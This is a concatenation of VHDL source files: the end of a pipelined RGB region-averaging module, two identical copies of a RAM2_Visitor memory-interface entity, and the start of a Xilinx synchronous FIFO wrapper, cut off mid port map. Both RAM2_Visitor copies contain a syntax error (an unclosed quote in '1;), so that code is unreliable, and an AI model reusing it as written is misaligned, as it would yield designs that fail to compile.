b_dout => CONFIG_DATA
);
process(CLK)
begin
if(rising_edge(CLK)) then
if(CE = '1') then
if(START = '1') then
COUNT <= (others => '0');
RUNNING <= '1';
if(YPOS = "000000") then
FRAME <= not FRAME;
end if;
elsif(COUNT(15) = '1') then
RUNNING <= '0';
else
COUNT <= std_logic_vector(unsigned(COUNT) + 1);
end if;
end if;
end if;
end process;
process(CLK)
begin
if(rising_edge(CLK)) then
if(CE = '1') then
-- read address is set when write_cycle = '0'
-- so read data is available when write_cycle = '1'
if(WRITE_CYCLE = '1') then
XMIN_p0 <= CONFIG_DATA(5 downto 0);
XMAX_p0 <= CONFIG_DATA(11 downto 6);
YMIN_p0 <= CONFIG_DATA(17 downto 12);
YMAX_p0 <= CONFIG_DATA(23 downto 18);
SHIFT_p0 <= CONFIG_DATA(27 downto 24);
R_TOTAL_p0 <= RESULT_RAM_Q(62 downto 42);
G_TOTAL_p0 <= RESULT_RAM_Q(41 downto 21);
B_TOTAL_p0 <= RESULT_RAM_Q(20 downto 0);
R_p0 <= LINE_BUF_DATA(23 downto 16);
G_p0 <= LINE_BUF_DATA(15 downto 8);
B_p0 <= LINE_BUF_DATA( 7 downto 0);
WRITE_ADDR_p0 <= LIGHT_ADDR;
XPOS_p0 <= XPOS;
YPOS_p0 <= YPOS;
RUNNING_p0 <= RUNNING;
end if;
end if;
end if;
end process;
process(CLK)
begin
if(rising_edge(CLK)) then
if(CE = '1') then
if(RUNNING_p0 = '1' and
unsigned(XPOS_p0) >= unsigned(XMIN_p0) and unsigned(XPOS_p0) <= unsigned(XMAX_p0) and
unsigned(YPOS_p0) >= unsigned(YMIN_p0) and unsigned(YPOS_p0) <= unsigned(YMAX_p0)) then
WRITE_ENABLE_p1 <= '1';
else
WRITE_ENABLE_p1 <= '0';
end if;
if(XPOS_p0 = XMIN_p0 and YPOS_p0 = YMIN_p0) then
R_TOTAL_p1 <= "0000000000000" & R_p0;
G_TOTAL_p1 <= "0000000000000" & G_p0;
B_TOTAL_p1 <= "0000000000000" & B_p0;
else
R_TOTAL_p1 <= std_logic_vector(unsigned(R_TOTAL_p0) + unsigned(R_p0));
G_TOTAL_p1 <= std_logic_vector(unsigned(G_TOTAL_p0) + unsigned(G_p0));
B_TOTAL_p1 <= std_logic_vector(unsigned(B_TOTAL_p0) + unsigned(B_p0));
end if;
if(XPOS_p0 = XMAX_p0 and YPOS_p0 = YMAX_p0) then
SHIFT_p1 <= SHIFT_p0;
else
SHIFT_p1 <= (others => '0');
end if;
WRITE_ADDR_p1 <= WRITE_ADDR_p0;
end if;
end if;
end process;
process(CLK)
begin
if(rising_edge(CLK)) then
if(CE = '1') then
R_TOTAL_p2 <= std_logic_vector(unsigned(R_TOTAL_p1) srl to_integer(unsigned(SHIFT_p1)));
G_TOTAL_p2 <= std_logic_vector(unsigned(G_TOTAL_p1) srl to_integer(unsigned(SHIFT_p1)));
B_TOTAL_p2 <= std_logic_vector(unsigned(B_TOTAL_p1) srl to_integer(unsigned(SHIFT_p1)));
WRITE_ENABLE_p2 <= WRITE_ENABLE_p1;
WRITE_ADDR_p2 <= WRITE_ADDR_p1;
end if;
end if;
end process;
WRITE_ENABLE <= '1' when WRITE_ENABLE_p2 = '1' and WRITE_CYCLE = '1' else '0';
WRITE_ADDR <= WRITE_ADDR_p2;
WRITE_DATA(71 downto 63) <= (others => '0');
WRITE_DATA(62 downto 42) <= R_TOTAL_p2;
WRITE_DATA(41 downto 21) <= G_TOTAL_p2;
WRITE_DATA(20 downto 0) <= B_TOTAL_p2;
WRITE_CYCLE <= COUNT(0);
LIGHT_ADDR <= COUNT(8 downto 1);
XPOS <= COUNT(14 downto 9);
CONFIG_ADDR <= "0" & LIGHT_ADDR;
LINE_BUF_ADDR <= YPOS(0) & XPOS;
RESULT_RAM_ADDR <= (not FRAME) & LIGHT_ADDR when WRITE_CYCLE = '0' else (not FRAME) & WRITE_ADDR;
RESULT_RAM_WE <= '0' when WRITE_CYCLE = '0' else WRITE_ENABLE;
RESULT_RAM_D <= WRITE_DATA;
RESULT_RAM_B_ADDR <= FRAME & RESULT_ADDR;
RESULT_DATA( 7 downto 0) <= RESULT_RAM_B_Q( 7 downto 0);
RESULT_DATA(15 downto 8) <= RESULT_RAM_B_Q(28 downto 21);
RESULT_DATA(23 downto 16) <= RESULT_RAM_B_Q(49 downto 42);
RESULT_DATA(26 downto 24) <= RESULT_RAM_B_Q(65 downto 63);
RESULT_DATA(31 downto 27) <= (others => '0');
end Behavioral;
|
library ieee;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;
library work;
use work.common.ALL;
entity RAM2_Visitor is
port(
---input
clk:in std_logic;
DMemReadWrite : in std_logic_vector(1 downto 0);
EXandMEM_AluRes: in std_logic_vector(15 downto 0);
WriteData: in std_logic_vector(15 downto 0);
---output
RAM2_Enable: out std_logic := '1';
RAM2_ReadEnable: out std_logic := '1';
RAM2_WriteEnable: out std_logic := '1;
DMemData:inout std_logic_vector(15 downto 0);
DMemAddr: out std_logic_vector(15 downto 0)
);
end RAM2_Visitor;
architecture behavior of RAM2_Visitor is
signal tempRAM2_Enable :std_logic;
signal tempRAM2_ReadEnable:std_logic;
signal tempRAM2_WriteEnable:std_logic;
begin
process(EXandMEM_AluRes, DMemReadWrite, writeData)
begin
if DMemReadWrite = MEM_READ then
DMemData <= "ZZZZZZZZZZZZZZZZ";
DMemAddr <= EXandMEM_AluRes;
elsif DMemReadWrite = MEM_WRITE then
DMemData <= writeData;
DMemAddr <= EXandMEM_AluRes;
else
DMemData <= "ZZZZZZZZZZZZZZZZ";
end if;
end process;
RAM2_Enable <=tempRAM2_Enable;
RAM2_ReadEnable <= tempRAM2_ReadEnable;
RAM2_WriteEnable <= tempRAM2_WriteEnable;
process(clk, EXandMEM_AluRes, DMemReadWrite)
begin
if clk = '0' then
tempRAM2_Enable <= '0';
if DMemReadWrite = MEM_READ then
tempRAM2_ReadEnable <= '0';
tempRAM2_WriteEnable <= '1';
elsif DMemReadWrite = MEM_WRITE then
tempRAM2_ReadEnable <= '1';
tempRAM2_WriteEnable <= '0';
else
tempRAM2_ReadEnable <= '1';
tempRAM2_WriteEnable <= '1';
end if;
elsif clk = '1' then
tempRAM2_Enable <= '1';
tempRAM2_ReadEnable <= '1';
tempRAM2_WriteEnable <= '1';
end if;
end process;
end behavior;
|
library ieee;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;
library work;
use work.common.ALL;
entity RAM2_Visitor is
port(
---input
clk:in std_logic;
DMemReadWrite : in std_logic_vector(1 downto 0);
EXandMEM_AluRes: in std_logic_vector(15 downto 0);
WriteData: in std_logic_vector(15 downto 0);
---output
RAM2_Enable: out std_logic := '1';
RAM2_ReadEnable: out std_logic := '1';
RAM2_WriteEnable: out std_logic := '1;
DMemData:inout std_logic_vector(15 downto 0);
DMemAddr: out std_logic_vector(15 downto 0)
);
end RAM2_Visitor;
architecture behavior of RAM2_Visitor is
signal tempRAM2_Enable :std_logic;
signal tempRAM2_ReadEnable:std_logic;
signal tempRAM2_WriteEnable:std_logic;
begin
process(EXandMEM_AluRes, DMemReadWrite, writeData)
begin
if DMemReadWrite = MEM_READ then
DMemData <= "ZZZZZZZZZZZZZZZZ";
DMemAddr <= EXandMEM_AluRes;
elsif DMemReadWrite = MEM_WRITE then
DMemData <= writeData;
DMemAddr <= EXandMEM_AluRes;
else
DMemData <= "ZZZZZZZZZZZZZZZZ";
end if;
end process;
RAM2_Enable <=tempRAM2_Enable;
RAM2_ReadEnable <= tempRAM2_ReadEnable;
RAM2_WriteEnable <= tempRAM2_WriteEnable;
process(clk, EXandMEM_AluRes, DMemReadWrite)
begin
if clk = '0' then
tempRAM2_Enable <= '0';
if DMemReadWrite = MEM_READ then
tempRAM2_ReadEnable <= '0';
tempRAM2_WriteEnable <= '1';
elsif DMemReadWrite = MEM_WRITE then
tempRAM2_ReadEnable <= '1';
tempRAM2_WriteEnable <= '0';
else
tempRAM2_ReadEnable <= '1';
tempRAM2_WriteEnable <= '1';
end if;
elsif clk = '1' then
tempRAM2_Enable <= '1';
tempRAM2_ReadEnable <= '1';
tempRAM2_WriteEnable <= '1';
end if;
end process;
end behavior;
|
-------------------------------------------------------------------------------
-- basic_sfifo_fg.vhd
-------------------------------------------------------------------------------
--
-- *************************************************************************
--
-- (c) Copyright 2010-2011 Xilinx, Inc. All rights reserved.
--
-- This file contains confidential and proprietary information
-- of Xilinx, Inc. and is protected under U.S. and
-- international copyright and other intellectual property
-- laws.
--
-- DISCLAIMER
-- This disclaimer is not a license and does not grant any
-- rights to the materials distributed herewith. Except as
-- otherwise provided in a valid license issued to you by
-- Xilinx, and to the maximum extent permitted by applicable
-- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
-- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
-- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
-- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
-- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
-- (2) Xilinx shall not be liable (whether in contract or tort,
-- including negligence, or under any other theory of
-- liability) for any loss or damage of any kind or nature
-- related to, arising under or in connection with these
-- materials, including for any direct, or any indirect,
-- special, incidental, or consequential loss or damage
-- (including loss of data, profits, goodwill, or any type of
-- loss or damage suffered as a result of any action brought
-- by a third party) even if such damage or loss was
-- reasonably foreseeable or Xilinx had been advised of the
-- possibility of the same.
--
-- CRITICAL APPLICATIONS
-- Xilinx products are not designed or intended to be fail-
-- safe, or for use in any application requiring fail-safe
-- performance, such as life-support or safety devices or
-- systems, Class III medical devices, nuclear facilities,
-- applications related to the deployment of airbags, or any
-- other applications that could lead to death, personal
-- injury, or severe property or environmental damage
-- (individually and collectively, "Critical
-- Applications"). Customer assumes the sole risk and
-- liability of any use of Xilinx products in Critical
-- Applications, subject only to applicable laws and
-- regulations governing limitations on product liability.
--
-- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
-- PART OF THIS FILE AT ALL TIMES.
--
-- *************************************************************************
--
-------------------------------------------------------------------------------
-- Filename: basic_sfifo_fg.vhd
--
-- Description:
-- This HDL file implements a basic synchronous (single clock) fifo using the
-- FIFO Generator tool. It is intended to offer a simple interface to the user
-- with the complexity of the FIFO Generator interface hidden from the user.
--
-- Note that in normal op mode (not First Word Fall Through FWFT) the data count
-- output goes to zero when the FIFO goes full. This the way FIFO Generator works.
--
--
-- VHDL-Standard: VHDL'93
-------------------------------------------------------------------------------
-- Structure:
-- basic_sfifo_fg.vhd
-- |
-- |-- fifo_generator_v8_2
--
-------------------------------------------------------------------------------
-- Revision History:
--
--
-- Author: DET
-- Revision: $Revision: 1.0 $
-- Date: $3/07/2011$
--
-- History:
-- DET 3/07/2011 Initial Version
--
-------------------------------------------------------------------------------
library IEEE;
use IEEE.std_logic_1164.all;
use IEEE.numeric_std.all;
library proc_common_v4_0;
use proc_common_v4_0.proc_common_pkg.all;
use proc_common_v4_0.proc_common_pkg.log2;
use proc_common_v4_0.coregen_comp_defs.all;
-- synopsys translate_off
--library XilinxCoreLib;
--use XilinxCoreLib.all;
-- synopsys translate_on
-------------------------------------------------------------------------------
entity basic_sfifo_fg is
generic (
C_DWIDTH : Integer := 32 ;
-- FIFO data Width (Read and write data ports are symetric)
C_DEPTH : Integer := 512 ;
-- FIFO Depth (set to power of 2)
C_HAS_DATA_COUNT : integer := 1 ;
-- 0 = Data Count output not needed
-- 1 = Data Count output needed
C_DATA_COUNT_WIDTH : integer := 10 ;
-- Data Count bit width (Max value is log2(C_DEPTH))
C_IMPLEMENTATION_TYPE : integer range 0 to 1 := 0;
-- 0 = Common Clock BRAM / Distributed RAM (Synchronous FIFO)
-- 1 = Common Clock Shift Register (Synchronous FIFO)
C_MEMORY_TYPE : integer := 1;
-- 0 = Any
-- 1 = BRAM
-- 2 = Distributed Memory
-- 3 = Shift Registers
C_PRELOAD_REGS : integer := 1;
-- 0 = normal
-- 1 = FWFT
C_PRELOAD_LATENCY : integer := 0;
-- 0 = FWFT
-- 1 = normal
C_USE_FWFT_DATA_COUNT : integer := 0;
-- 0 = normal
-- 1 for FWFT
C_SYNCHRONIZER_STAGE : integer := 2; -- valid values are 0 to 8;
C_FAMILY : string := "virtex6"
);
port (
CLK : IN std_logic := '0';
DIN : IN std_logic_vector(C_DWIDTH-1 DOWNTO 0) := (OTHERS => '0');
RD_EN : IN std_logic := '0';
SRST : IN std_logic := '0';
WR_EN : IN std_logic := '0';
DATA_COUNT : OUT std_logic_vector(C_DATA_COUNT_WIDTH-1 DOWNTO 0);
DOUT : OUT std_logic_vector(C_DWIDTH-1 DOWNTO 0);
EMPTY : OUT std_logic;
FULL : OUT std_logic
);
end entity basic_sfifo_fg;
architecture implementation of basic_sfifo_fg is
-- Constant Declarations ----------------------------------------------
Constant POINTER_WIDTH : integer := log2(C_DEPTH);
-- Constant zeros for programmable threshold inputs
Constant PROG_RDTHRESH_ZEROS : std_logic_vector(POINTER_WIDTH-1
DOWNTO 0) := (OTHERS => '0');
Constant PROG_WRTHRESH_ZEROS : std_logic_vector(POINTER_WIDTH-1
DOWNTO 0) := (OTHERS => '0');
-- Signals
begin --(architecture implementation)
-------------------------------------------------------------------------------
-- Instantiate the generalized FIFO Generator instance
--
-- NOTE:
-- DO NOT CHANGE TO DIRECT ENTITY INSTANTIATION!!!
-- This is a Coregen FIFO Generator Call module for
-- BRAM implementations of a basic Sync FIFO
--
-------------------------------------------------------------------------------
I_BASIC_SFIFO : fifo_generator_v11_0
generic map(
C_COMMON_CLOCK => 1,
C_COUNT_TYPE => 0,
C_DATA_COUNT_WIDTH => C_DATA_COUNT_WIDTH,
C_DEFAULT_VALUE => "BlankString",
C_DIN_WIDTH => C_DWIDTH,
C_DOUT_RST_VAL => "0",
C_DOUT_WIDTH => C_DWIDTH,
C_ENABLE_RLOCS => 0, -- n0
C_FAMILY => C_FAMILY,
C_HAS_ALMOST_EMPTY => 0, -- n0
C_HAS_ALMOST_FULL => 0, -- n0
C_HAS_BACKUP => 0, -- n0
C_HAS_DATA_COUNT => C_HAS_DATA_COUNT,
C_HAS_MEMINIT_FILE => 0, -- n0
C_HAS_OVERFLOW => 0, -- n0
C_HAS_RD_DATA_COUNT => 0, -- n0
C_HAS_RD_RST => 0, -- n0
C_HAS_RST => 0, -- n0
C_HAS_SRST => 1, -- yes
C_HAS_UNDERFLOW => 0, -- n0
C_HAS_VALID => 0, -- n0
C_HAS_WR_ACK => 0, -- n0
C_HAS_WR_DATA_COUNT => 0, -- n0
C_HAS_WR_RST => 0, -- n0
C_IMPLEMENTATION_TYPE => 0, -- Common clock BRAM
C_INIT_WR_PNTR_VAL => 0,
C_MEMORY_TYPE => C_MEMORY_TYPE,
C_MIF_FILE_NAME => "BlankString",
C_OPTIMIZATION_MODE => 0,
C_OVERFLOW_LOW => 0,
C_PRELOAD_LATENCY => C_PRELOAD_LATENCY,
C_PRELOAD_REGS => C_PRELOAD_REGS,
C_PRIM_FIFO_TYPE => "512x36",
C_PROG_EMPTY_THRESH_ASSERT_VAL => 0,
C_PROG_EMPTY_THRESH_NEGATE_VAL => 0,
C_PROG_EMPTY_TYPE => 0,
C_PROG_FULL_THRESH_ASSERT_VAL => 0,
C_PROG_FULL_THRESH_NEGATE_VAL => 0,
C_PROG_FULL_TYPE => 0,
C_RD_DATA_COUNT_WIDTH => C_DATA_COUNT_WIDTH,
C_RD_DEPTH => C_DEPTH,
C_RD_FREQ => 1,
C_RD_PNTR_WIDTH => POINTER_WIDTH,
C_UNDERFLOW_LOW => 0,
C_USE_DOUT_RST => 1,
C_USE_EMBEDDED_REG => 0,
C_USE_FIFO16_FLAGS => 0,
C_USE_FWFT_DATA_COUNT => C_USE_FWFT_DATA_COUNT,
C_VALID_LOW => 0,
C_WR_ACK_LOW => 0,
C_WR_DATA_COUNT_WIDTH => C_DATA_COUNT_WIDTH,
C_WR_DEPTH => C_DEPTH,
C_WR_FREQ => 1,
C_WR_PNTR_WIDTH => POINTER_WIDTH,
C_WR_RESPONSE_LATENCY => 1,
C_USE_ECC => 0,
C_FULL_FLAGS_RST_VAL => 0,
C_ENABLE_RST_SYNC => 1,
C_ERROR_INJECTION_TYPE => 0,
C_SYNCHRONIZER_STAGE => C_SYNCHRONIZER_STAGE,
C_HAS_INT_CLK => 0,
C_MSGON_VAL => 1,
-- AXI Interface related parameters start here
C_INTERFACE_TYPE => 0, -- : integer := 0; -- 0: Native Interface; 1: AXI Interface
C_AXI_TYPE => 0, -- : integer := 0; -- 0: AXI Stream; 1: AXI Full; 2: AXI Lite
C_HAS_AXI_WR_CHANNEL => 0, -- : integer := 0;
C_HAS_AXI_RD_CHANNEL => 0, -- : integer := 0;
C_HAS_SLAVE_CE => 0, -- : integer := 0;
C_HAS_MASTER_CE => 0, -- : integer := 0;
C_ADD_NGC_CONSTRAINT => 0, -- : integer := 0;
C_USE_COMMON_OVERFLOW => 0, -- : integer := 0;
C_USE_COMMON_UNDERFLOW => 0, -- : integer := 0;
C_USE_DEFAULT_SETTINGS => 0, -- : integer := 0;
-- AXI Full/Lite
C_AXI_ID_WIDTH => 4 , -- : integer := 0;
C_AXI_ADDR_WIDTH => 32, -- : integer := 0;
C_AXI_DATA_WIDTH => 64, -- : integer := 0;
C_AXI_LEN_WIDTH => 8, -- : integer := 8;
C_AXI_LOCK_WIDTH => 2, -- : integer := 2;
C_HAS_AXI_ID => 0, -- : integer := 0;
C_HAS_AXI_AWUSER => 0 , -- : integer := 0;
C_HAS_AXI_WUSER => 0 , -- : integer := 0;
C_HAS_AXI_BUSER => 0 , -- : integer := 0;
C_HAS_AXI_ARUSER => 0 , -- : integer := 0;
C_HAS_AXI_RUSER => 0 , -- : integer := 0;
C_AXI_ARUSER_WIDTH => 1 , -- : integer := 0;
C_AXI_AWUSER_WIDTH => 1 , -- : integer := 0;
C_AXI_WUSER_WIDTH => 1 , -- : integer := 0;
C_AXI_BUSER_WIDTH => 1 , -- : integer := 0;
C_AXI_RUSER_WIDTH => 1 , -- : integer := 0;
-- AXI Streaming
C_HAS_AXIS_TDATA => 0 , -- : integer := 0;
C_HAS_AXIS_TID => 0 , -- : integer := 0;
C_HAS_AXIS_TDEST => 0 , -- : integer := 0;
C_HAS_AXIS_TUSER => 0 , -- : integer := 0;
C_HAS_AXIS_TREADY => 1 , -- : integer := 0;
C_HAS_AXIS_TLAST => 0 , -- : integer := 0;
C_HAS_AXIS_TSTRB => 0 , -- : integer := 0;
C_HAS_AXIS_TKEEP => 0 , -- : integer := 0;
C_AXIS_TDATA_WIDTH => 64, -- : integer := 1;
C_AXIS_TID_WIDTH => 8 , -- : integer := 1;
C_AXIS_TDEST_WIDTH => 4 , -- : integer := 1;
C_AXIS_TUSER_WIDTH => 4 , -- : integer := 1;
C_AXIS_TSTRB_WIDTH => 4 , -- : integer := 1;
C_AXIS_TKEEP_WIDTH => 4 , -- : integer := 1;
-- AXI Channel Type
-- WACH --> Write Address Channel
-- WDCH --> Write Data Channel
-- WRCH --> Write Response Channel
-- RACH --> Read Address Channel
-- RDCH --> Read Data Channel
-- AXIS --> AXI Streaming
C_WACH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logic
C_WDCH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
C_WRCH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
C_RACH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
C_RDCH_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
C_AXIS_TYPE => 0, -- : integer := 0; -- 0 = FIFO; 1 = Register Slice; 2 = Pass Through Logie
-- AXI Implementation Type
-- 1 = Common Clock Block RAM FIFO
-- 2 = Common Clock Distributed RAM FIFO
-- 11 = Independent Clock Block RAM FIFO
-- 12 = Independent Clock Distributed RAM FIFO
C_IMPLEMENTATION_TYPE_WACH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_WDCH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_WRCH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_RACH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_RDCH => 1, -- : integer := 0;
C_IMPLEMENTATION_TYPE_AXIS => 1, -- : integer := 0;
-- AXI FIFO Type
-- 0 = Data FIFO
-- 1 = Packet FIFO
-- 2 = Low Latency Data FIFO
C_APPLICATION_TYPE_WACH => 0, -- : integer := 0;
C_APPLICATION_TYPE_WDCH => 0, -- : integer := 0;
C_APPLICATION_TYPE_WRCH => 0, -- : integer := 0;
C_APPLICATION_TYPE_RACH => 0, -- : integer := 0;
C_APPLICATION_TYPE_RDCH => 0, -- : integer := 0;
C_APPLICATION_TYPE_AXIS => 0, -- : integer := 0;
-- Enable ECC
-- 0 = ECC disabled
-- 1 = ECC enabled
C_USE_ECC_WACH => 0, -- : integer := 0;
C_USE_ECC_WDCH => 0, -- : integer := 0;
C_USE_ECC_WRCH => 0, -- : integer := 0;
C_USE_ECC_RACH => 0, -- : integer := 0;
C_USE_ECC_RDCH => 0, -- : integer := 0;
C_USE_ECC_AXIS => 0, -- : integer := 0;
-- ECC Error Injection Type
-- 0 = No Error Injection
-- 1 = Single Bit Error Injection
-- 2 = Double Bit Error Injection
-- 3 = Single Bit and Double Bit Error Injection
C_ERROR_INJECTION_TYPE_WACH => 0, -- : integer := 0;
C_ERROR_INJECTION_TYPE_WDCH => 0, -- : integer := 0;
C_ERROR_INJECTION_TYPE_WRCH => 0, -- : integer := 0;
C_ERROR_INJECTION_TYPE_RACH => 0, -- : integer := 0;
C_ERROR_INJECTION_TYPE_RDCH => 0, -- : integer := 0;
C_ERROR_INJECTION_TYPE_AXIS => 0, -- : integer := 0;
-- Input Data Width
-- Accumulation of all AXI input signal's width
C_DIN_WIDTH_WACH => 32, -- : integer := 1;
C_DIN_WIDTH_WDCH => 64, -- : integer := 1;
C_DIN_WIDTH_WRCH => 2 , -- : integer := 1;
C_DIN_WIDTH_RACH => 32, -- : integer := 1;
C_DIN_WIDTH_RDCH => 64, -- : integer := 1;
C_DIN_WIDTH_AXIS => 1 , -- : integer := 1;
C_WR_DEPTH_WACH => 16 , -- : integer := 16;
C_WR_DEPTH_WDCH => 1024, -- : integer := 16;
C_WR_DEPTH_WRCH => 16 , -- : integer := 16;
C_WR_DEPTH_RACH => 16 , -- : integer := 16;
C_WR_DEPTH_RDCH => 1024, -- : integer := 16;
C_WR_DEPTH_AXIS => 1024, -- : integer := 16;
C_WR_PNTR_WIDTH_WACH => 4 , -- : integer := 4;
C_WR_PNTR_WIDTH_WDCH => 10, -- : integer := 4;
C_WR_PNTR_WIDTH_WRCH => 4 , -- : integer := 4;
C_WR_PNTR_WIDTH_RACH => 4 , -- : integer := 4;
C_WR_PNTR_WIDTH_RDCH => 10, -- : integer := 4;
C_WR_PNTR_WIDTH_AXIS => 10, -- : integer := 4;
C_HAS_DATA_COUNTS_WACH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_WDCH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_WRCH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_RACH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_RDCH => 0, -- : integer := 0;
C_HAS_DATA_COUNTS_AXIS => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_WACH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_WDCH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_WRCH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_RACH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_RDCH => 0, -- : integer := 0;
C_HAS_PROG_FLAGS_AXIS => 0, -- : integer := 0;
C_PROG_FULL_TYPE_WACH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_WDCH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_WRCH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_RACH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_RDCH => 5 , -- : integer := 0;
C_PROG_FULL_TYPE_AXIS => 5 , -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_WACH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_WDCH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_WRCH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_RACH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_RDCH => 1023, -- : integer := 0;
C_PROG_FULL_THRESH_ASSERT_VAL_AXIS => 1023, -- : integer := 0;
C_PROG_EMPTY_TYPE_WACH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_WDCH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_WRCH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_RACH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_RDCH => 5 , -- : integer := 0;
C_PROG_EMPTY_TYPE_AXIS => 5 , -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_WACH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_WDCH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_WRCH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_RACH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_RDCH => 1022, -- : integer := 0;
C_PROG_EMPTY_THRESH_ASSERT_VAL_AXIS => 1022, -- : integer := 0;
C_REG_SLICE_MODE_WACH => 0, -- : integer := 0;
C_REG_SLICE_MODE_WDCH => 0, -- : integer := 0;
C_REG_SLICE_MODE_WRCH => 0, -- : integer := 0;
C_REG_SLICE_MODE_RACH => 0, -- : integer := 0;
C_REG_SLICE_MODE_RDCH => 0, -- : integer := 0;
C_REG_SLICE_MODE_AXIS => 0 -- : integer := 0
)
port map(
BACKUP => '0',
BACKUP_MARKER => '0',
CLK => CLK,
RST => '0',
SRST => SRST,
WR_CLK => '0',
WR_RST => '0',
RD_CLK => '0',
RD_RST => '0',
DIN => DIN, -- uses this one
WR_EN => WR_EN, -- uses this one
RD_EN => RD_EN, -- uses this one
PROG_EMPTY_THRESH => PROG_RDTHRESH_ZEROS,
PROG_EMPTY_THRESH_ASSERT => PROG_RDTHRESH_ZEROS,
PROG_EMPTY_THRESH_NEGATE => PROG_RDTHRESH_ZEROS,
PROG_FULL_THRESH => PROG_WRTHRESH_ZEROS,
PROG_FULL_THRESH_ASSERT => PROG_WRTHRESH_ZEROS,
PROG_FULL_THRESH_NEGATE => PROG_WRTHRESH_ZEROS,
INT_CLK => '0',
INJECTDBITERR => '0',
INJECTSBITERR => '0',
DOUT => DOUT, -- uses this one
FULL => FULL, -- uses this one
ALMOST_FULL => open,
WR_ACK => open,
OVERFLOW => open,
EMPTY => EMPTY, -- uses this one
ALMOST_EMPTY => open,
VALID => open,
UNDERFLOW => open,
DATA_COUNT => DATA_COUNT, -- uses this one
RD_DATA_COUNT => open,
WR_DATA_COUNT => open,
PROG_FULL => open,
PROG_EMPTY => open,
SBITERR => open,
DBITERR => open,
-- AXI Global Signal
M_ACLK => '0', -- : IN std_logic := '0';
S_ACLK => '0', -- : IN std_logic := '0';
S_ARESETN => '0', -- : IN std_logic := '0';
M_ACLK_EN => '0', -- : IN std_logic := '0';
S_ACLK_EN => '0', -- : IN std_logic := '0';
-- AXI Full/Lite Slave Write Channel (write side)
S_AXI_AWID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWADDR => (others => '0'), -- : IN std_logic_vector(C_AXI_ADDR_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWLEN => (others => '0'), -- : IN std_logic_vector(8-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWSIZE => (others => '0'), -- : IN std_logic_vector(3-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWBURST => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWLOCK => (others => '0'), -- : IN std_logic_vector(2-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWCACHE => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWPROT => (others => '0'), -- : IN std_logic_vector(3-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWQOS => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWREGION => (others => '0'), -- : IN std_logic_vector(4-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWUSER => (others => '0'), -- : IN std_logic_vector(C_AXI_AWUSER_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_AWVALID => '0', -- : IN std_logic := '0';
S_AXI_AWREADY => open, -- : OUT std_logic;
S_AXI_WID => (others => '0'), -- : IN std_logic_vector(C_AXI_ID_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_WDATA => (others => '0'), -- : IN std_logic_vector(C_AXI_DATA_WIDTH-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_WSTRB => (others => '0'), -- : IN std_logic_vector(C_AXI_DATA_WIDTH/8-1 DOWNTO 0) := (OTHERS => '0');
S_AXI_WLAST => '0', -- : IN std_logic := '0';
